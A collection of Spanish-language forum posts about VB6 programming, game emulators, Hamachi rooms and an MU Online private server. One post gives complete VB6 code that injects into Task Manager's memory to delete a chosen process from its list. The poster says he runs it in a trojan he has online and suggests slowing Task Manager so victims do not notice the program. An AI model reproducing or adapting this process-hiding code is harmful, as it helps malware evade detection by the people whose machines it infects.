alguien sabe de los datos de algun libro de OpenGl? o tutorial de este aplicado en VB6   (se que practicamente no hay pero si acaso alguien se sabe alguno xD).

De DirectX pss se que me lo puedo descargar de la web de Mocosoft perdor Microsoft

lo que deseo es ya aprender graficos mas que nada ya que deseo aprender a realzar videojuegos para PC y en un futuro  para VideoConsolas (se a lo que me meto ok xP)

Por si acaso lo de los video-juegos en Visual Basic6 me crean que no se pueden entonces vean estos que hizo un chico de peru para su TESIS (segun yo se)

http://youtube.com/watch?v=tfC0LzzkXMU
http://youtube.com/watch?v=VZEa1Cqi4Uw
http://youtube.com/watch?v=pKPlKSyaa34
http://youtube.com/watch?v=-6-kdfrHfQs

P.D. Si hay ejemplos concretos en areas seria mejor a que me dieran enlaces a juegos 3d o 2d complejos  (para ustedes no pero a alguien que no sabe sobre esto aun  si xP),... de igual forma los tutos  web o descargables o un libro  (que se publique en México si acaso)

bueno esta es mi gran duda:

cuando se manejan plugins o bueno la carga de librerias en vb6 afuerzas deberian estar dentro de una carpeta llamada plugins ¬¬?

Antiguo Post de manejo de plugins en VB6

bueno aca reduje el codigo a practicamente nada:

bueno aca esta Simplificado ¬¬

Código (vb) [Seleccionar] Expandir


    Set plug = CreateObject("miplugin.plugin")
    plug.AbrirPlugin Me


la parte del codigo original del ejemplo:

Código (vb) [Seleccionar] Expandir


Public Sub CargarPlugins()
'On Error GoTo error:
Dim dll$, temp$, obj
Dim i As Integer
Subfolders (App.path & "\plugins\") '<-------- si la cambio me salen errores y ademas no carga las dll como plugins ¬¬
  For i = 0 To a - 1
         dll = NplugIns(i)
         MsgBox dll
         dll = Left(dll, Len(dll) - 4) 'quita ".dll" del nombre
        temp = dll & "." & "plugin"
        Set obj = CreateObject(temp) 'se crea el plugin
        Call Agregar(ListaDePlugins, temp, obj.NombrePlugin)
         DoEvents
   Next i
ListaDePlugins(0).Visible = False 'Desaparecemos el primer elemento
Exit Sub
error:
    'MsgBox "Error al cargar un plugin. Puede que no esté corretamente registrado.", , "Error"
End Sub


---------------------------------

Y se supone que en ese ejemplo se cargan los plugins de la carpeta indicada (en este caso "directorioActual/plugins") bueno yo la cambio (por ejemplo a "D:\data\plugins" siendo que mi exe este en "D:\") y nada de nada ¬¬ afuerzas solo me agarran con la carpeta "plugins" y q esta este en el directorio de mi compilado.

mis interrogantes son:

¿?Se puede cambiar dicha carpeta¿?
¿?Si es asi como¿?

gracias de antemano.

La pongo por que no todos nos la podriamos saber ¬¬!.

Bueno esto lo acabo de entrontrar ojala y les sirva de algo en un futuro. ( Yo solo conocia la funcion Call no esta ja  )

Poner en un formulario o donde deseen.

3 Textbox llamados

Código [Seleccionar] Expandir


Text1
Text2
Text3
mas un Commanbutton llamado Command1


Código (vb) [Seleccionar] Expandir


Public Function Divide(arg1 As Long, arg2 As Long)
    Divide = arg1 / arg2
End Function
Public Function Multiplica(arg1 As Long, arg2 As Long)
    Multiplica = arg1 * arg2
End Function
Private Sub Command1_Click()
    MsgBox CallByName(Me, Text1.Text, VbMethod, Text2.Text, Text3.Text)
End Sub


  Escribir en el text1  el nombre de la Funcion y clickear en el boton 

Este codigo lo ocupo en un troyano que tengo Online actualmente. aca el codigo

Se agradese a quien lo aya hecho ja

Lo que hace este codigo es secillo y es:

Código [Seleccionar] Expandir


Localisar primero el Administrador de tareas
Enlistar todo y cada uno de sus controles ' Asi lo entendi yo ok
localisar la lista de los procesos y despues quitar el proceso indicado... en este caso el notepad.exe


Actualisado....

En un Formulario comun poner solo esto y nada Mas...

Código (vb) [Seleccionar] Expandir


Private WithEvents Timer1 As Timer
Private Sub Form_Load()
    MsgBox "Ejecuta el Administrador de Tareas... [ Control + Alt + Supr ]"
    Shell "c:\windows\system32\notepad.exe", vbNormalFocus
    Set Timer1 = Me.Controls.Add("vb.timer", "Timer")
    Timer1.Interval = 1000
    Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
    Dim hWnd1 As Long
    hWnd1 = FindWindow(vbNullString, "Administrador de tareas de Windows")
    HandleW = hWnd1
    If (hWnd1 <= 0) Then
        Caption = "No se ha encontrado el administrador de tareas"
    Else
        Caption = "Se ha encontrado el administrador de tareas"
        EnumChildWindows hWnd1, AddressOf Procesitos, 1 'lParam
    End If
End Sub



En un Modulo poner esto otro...

Código (vb) [Seleccionar] Expandir


Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long


Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private ASDQWEZXC As String

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104

Public Type LV_ITEM
    mask As Long
    iItem As Long
    iSubItem As Long
    state As Long
    stateMask As Long
    lpszText As Long 'LPCSTR
    cchTextMax As Long
    iImage As Long
    lParam As Long
    iIndent As Long
End Type

Type LV_TEXT
    sItemText As String * 80
End Type

Public Function Procesitos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)

Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)
Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
   JodeLosItems (hWnd2)
   Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesitos = False
Else
Procesitos = True
End If
End Function

Public Function JodeLosItems(ByVal hListView As Long) ' As Variant
   Dim pid As Long, tid As Long
   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
   Dim DirMemComp As Long, dwTam As Long
   Dim DirMemComp2 As Long
   Dim sLVItems() As String
   Dim li As LV_ITEM
   Dim lt As LV_TEXT
   If hListView = 0 Then Exit Function
   tid = GetWindowThreadProcessId(hListView, pid)
   nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
   If nElem = 0 Then Exit Function
   ReDim sLVItems(nElem - 1)
   li.cchTextMax = 80
   dwTam = Len(li)
      DirMemComp = DameMemComp(pid, dwTam, hProceso)
      DirMemComp2 = DameMemComp(pid, LenB(lt), hProceso)
      For i = 0 To nElem - 1
          li.lpszText = DirMemComp2
          li.cchTextMax = 80
          li.iItem = i
          li.mask = LVIF_TEXT
          WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
          lt.sItemText = Space(80)
          WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
          Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
          '''ASDQWEZXC = TrimNull(StrConv(lt.sItemText, vbFromUnicode))
          '''Form1.Text1.Text = Form1.Text1.Text & vbCrLf & TrimNull(StrConv(lt.sItemText, vbFromUnicode))
          '''If Len(Form1.Text1.Text) >= 10000 Then Form1.Text1.Text = ""
         
          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = "notepad.exe" Then '<===========CAMBIAR
           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
           '''Form1.Text2 = i
           Exit Function
          End If
      Next i
      AdiosMemComp hProceso, DirMemComp, dwTam
      AdiosMemComp hProceso, DirMemComp2, LenB(lt)
End Function

Public Function DameMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
    DameMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Public Sub AdiosMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
   CloseHandle hProceso
End Sub
Public Function TrimNull(jaja As String) As String
   Dim pos As Integer
   pos = InStr(jaja, Chr$(0))
   If pos Then
      TrimNull = Left$(jaja, pos - 1)
      Exit Function
   End If
   TrimNull = jaja
End Function


Se entiende cuando se ejecuta por partes y muestra los resultados en pantalla asi lo entendi todo.

a si si lo usan para algun virus o algo no se otambien cambienle la prioridad al Administrador de Tareas en el momento... o modifiquen el codigo para que el refresco del Administrador de Tareas sea subitamente lento xP y no cachen el programa atiempo JOJOJO

PD.: Se ve bien a color no jaja, a y Reafirmo se agradece aquien lo aya hecho

Bueno aportalas...

A como veo en unos foros de este tipo de secciones (juegos) hay post para salas de hamachi, si conoces otras Salas de otros juegos igual ponganlas aca las pondre en este Post.¡!

Aca les dejo unos con referencia a salas de Age Of Empires

Salas Hamachi AOE:
Desertorx
Desertorx2
Desertorx3
Desertorx4
AOE_n_
AOE_0_0
AOE_0_1
AOE_0_2
AOE_0_3
AOE_0_4
AOE_0_5
AOE_0_6
AOE_0_7
AOE_0_8
AOE_0_9
La contraseña para todas las Salas es: 123



Descargar Hamachi Descargar

Descargar Hamachi Instalar como siempre Siguiente siguiente etc etc y finalisas ejecutas el hamachi y te unes a las salas...¡!

buenas hago este post apra saber si alguien tiene el emulador

Sremu v 1.5 (Codigo Fuente)
Tengo el SreMu v1.3 (Codigo fuente)

este emulador es para el juego SilkRoad ya hace  ao y medio que inicio pero cerraron la pagina oficial del emulador y las ligas de descarga no sirven (son de la pagina "gamerspace" la cual igual ya no existe su pagina)

si no es tanta molestia podrian pasarme el emulador ya sea compilado o su codigo fuente del SreMu v1.5.

gracias de antemano

Hola Gente bueno solamente queria saber todas las canciones del Gran Turismo 2 Solamente el 2 gracias de antemano se les agradese.

Edit One-----

Ya busque en google altavista yahoo

y ahora solo busco en foros para ver si en cuentro algo a por cierto ya utilise el buscador de este foro por si acaso y nada de nada

hola bueno como andan en primera pss casi no ando en estos foros pero creo que ya andare mas xd ya que estudiare esto en la vocacional xd...

al punto:

encontre un source de vb 6 que me pide el siguiente dll

geeks-e.dll

en donde me lo descargue me desia que el dll se encontraba en

http://www.greeks-e.com/greeks

pero como ven ia no existe o bueno el post de donde me baje este source fue posteado en el 2004 epa un churro ¬¬

y pss cuando ejecuto el source que todo va muy bueno me dice que no se ha encontrado el dll ¬¬

abro las preferencias y me dice
el archivo
que falta

Código [Seleccionar] Expandir

FALTA:geeks
asi de esa forma ¬¬
doy examinar y me dice que se deberia encontrar en

Código [Seleccionar] Expandir

C:\WINDOWS\system32

quedando asi

Código [Seleccionar] Expandir

C:\WINDOWS\system32\geeks-e.dll

bueno todo esto que pongo y el o mi famoso source es para acceder a una tablas o bases de datos como son

Código [Seleccionar] Expandir

MySQL
SQL
Oracle
entre otras
Alguien de este foro tiene este dll ? o me tendre que resignar
a si hya busque el ares edonkey y nada solo salen videos  3x ¬¬


P.D.:::> si alguien le interesa el codigo lo posteo con confianza 

Total de Cuentas 1910
Total de Personajes 3145
Usuarios Conectados 18
Recientes Modificaciones 10-07-05
Estado del Server CONECTADO
Numero de Guilds: 200
IP::: > http://muibacsoft.dynu.com/
web::: > http://muibacsoft.dynu.com/
EXP::: > 95X
Drop:: > 90%
Caen objetos EXE +6 +6 opciones el server es gratuito y no pagas por nada del mundo al menos que quieras un set exe full Option XD
Reset ::: > 300 por reset ( 1 = 330 2 = 660 3 = 990... etc )
Te te conformes con porquerias de server q tienes que mandar correos para hacer cuentas entra mejor a Mu Ibacsoft se a eliminado gran parte del Lag Xao Nos vemos XD

http://muibacsoft.dynu.com/

Claro que ya esta este es un servidor gratuito caen set's exe+6 +6 opciones por si las dudas otra cosa naaaa caen Mace Of infraworld y la espada Hades Para el BK claro esta XD este servidor esta chido no se jalen con mamadas de server's chafas que contienen demas por ejemplo el puñetero lag que fastidia a todos XS

Hola alguien sabe cuales son los servidores fast de este wworpg q esten online actualemte q sean realmente fast